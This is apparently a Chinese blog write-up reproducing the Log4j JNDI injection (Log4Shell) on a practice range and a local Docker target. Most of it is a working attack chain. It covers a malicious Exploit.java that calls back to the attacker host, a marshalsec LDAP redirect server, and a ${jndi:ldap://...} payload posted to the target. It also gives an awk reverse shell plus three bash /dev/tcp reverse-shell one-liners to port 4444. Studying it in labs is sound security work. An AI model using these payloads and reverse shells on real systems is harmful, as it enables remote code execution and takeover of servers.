本次记录自己测试时每一步操作,很详细。
本次复现分为curl测试和拿shell两种操作,测试完curl后体验时长到期了,只能换环境了。
本次测试环境如下:
curl------------------------------------------------------
靶场: http://d63bb2586.lab.aqlab.cn/
攻击机:106.15.47.238(阿里云的一小时体验服务器)
拿shell--------------------------------------------------
靶场: 192.168.11.136(centos7)
攻击机:192.168.11.128(kali)
curl测试:
攻击机-----------------------
安装java环境:
jdk1.8.0_181
链接:https://pan.baidu.com/s/1Rt-XLjY2Od6RFQDYkrN7wg
提取码:6rec
下载好后使用rz传到vps上:

解压缩:
- tar -zxvf jdk-8u181-linux-x64.tar.gz

Copy到/usr/jdk:
- cp -r jdk1.8.0_181/ /usr/jdk

编辑环境变量:

将下面配置添加到文件最后:
- export JAVA_HOME=/usr/jdk
- export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH
- export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH

告诉系统jdk的位置:
- update-alternatives --install "/usr/bin/java" "java" "/usr/jdk/bin/java" 1
- update-alternatives --install "/usr/bin/javac" "javac" "/usr/jdk/bin/javac" 1
- update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1
- update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1
设置新的jdk为默认:
- update-alternatives --set java /usr/jdk/bin/java
- update-alternatives --set java /usr/jdk/bin/java
- update-alternatives --set javac /usr/jdk/bin/javac
- update-alternatives --set javac /usr/jdk/bin/javac
- update-alternatives --set javaws /usr/jdk/bin/javaws
- update-alternatives --set javaws /usr/jdk/bin/javaws

重载profile文件:
查看jdk版本:

到此java环境安装完毕。
编写一个恶意类,命名为Exploit.java,这里用curl测试:
写入:
- public class Exploit {
- public Exploit(){
- try{
- // 要执行的命令
- String[] commands = {"curl","http://106.15.47.238:5678"};
- Process pc = Runtime.getRuntime().exec(commands);
- pc.waitFor();
- } catch(Exception e){
- e.printStackTrace();
- }
- }
- public static void main(String[] argv) {
- Exploit e = new Exploit();
- }
- }
编译:

开个http服务,等会用来验证是否命令被目标执行:

安装maven:
- wget https://mirrors.cnnic.cn/apache/maven/maven-3/3.8.4/binaries/apache-maven-3.8.4-bin.tar.gz

解压:
- tar -zxvf apache-maven-3.8.4-bin.tar.gz

配置:
- update-alternatives --install /usr/bin/mvn mvn ~/apache-maven-3.8.4/bin/mvn 1

环境变量配置:
最下面添加:
- export MAVEN_HOME=~/apache-maven-3.8.4
- export PATH=$MAVEN_HOME/bin:$PATH

重载profile文件:

装git:

下载marshalsec工具
- git clone https://hub.fastgit.org/mbechler/marshalsec.git

进入marshalsec文件夹,使用maven编译marshalsec成jar包:
- mvn clean package -DskipTests

耐心等待ing...
来了

在Exploit.java文件所在目录开个http服务:

进入target文件夹,搭建个LDAP服务:
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://106.15.47.238:1234/#Exploit 8899


访问靶场:
http://d63bb2586.lab.aqlab.cn/

点击登录后,目标执行命令curl我们的5678端口:


-------------------------------------------------------- --------------------------------------------------------
这时候靶场1小时时间到期了呜呜。
拿shell:
简介:
靶机: 192.168.11.136(centos7)
攻击机:192.168.11.128(kali)
和以上curl操作相同,只是修改被执行的命令为反弹shell。
靶机docker环境搭建:
装docker
- curl -s https://get.docker.com/ | sh
启动docker:
拉镜像:
- docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
容器:
- docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
进容器:
- docker exec -it log4j_vuln_container /bin/bash
开tomcat服务:
- /bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
到此为止靶机环境搭建好了。
攻击机-----------
配java环境、各种组件。和上面curl操作步骤一样。
配好环境和相关组件后,在Exploit.java所在目录启个http服务:
- python -m SimpleHTTPServer 1234

开启LDAP服务:
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.11.128:1234/#Exploit 8899

恶意类内容.编辑Exploit.java文件,利用curl反弹shell:

编译:

再启个http服务供目标机器来访问bash.html:

Bash.html内容:意思是把shell反弹到攻击机4444端口:
- awk 'BEGIN {s = "/inet/tcp/0/192.168.11.128/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Nc监听4444,坐等shell:

最后访问http://192.168.11.136:8080/webstudy/hello-fengxuan
Post请求c=${jndi:ldap://192.168.11.128:8899/id}

过程:

目标Curl攻击机的8888端口,内容为反弹shell到攻击机4444端口:

收到shell:

-----------------------
问 为什么要这样反弹,麻烦不烦啊!
答 因为其他方式本人没弹出来(委屈)
bash -i >& /dev/tcp/192.168.11.128/4444 0>&1
bash -i > /dev/tcp/192.168.11.128/4444 0<&1 2>&1
exec 196<>/dev/tcp/192.168.11.128/4444; sh <&196 >&196 2>&196
晚安
参考:
https://cloud.tencent.com/developer/article/1853055?from=article.detail.1577831
https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ
https://cloud.tencent.com/developer/article/1577831
声明:
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
原文链接:http://www.cnblogs.com/baicaix86/p/15683565.html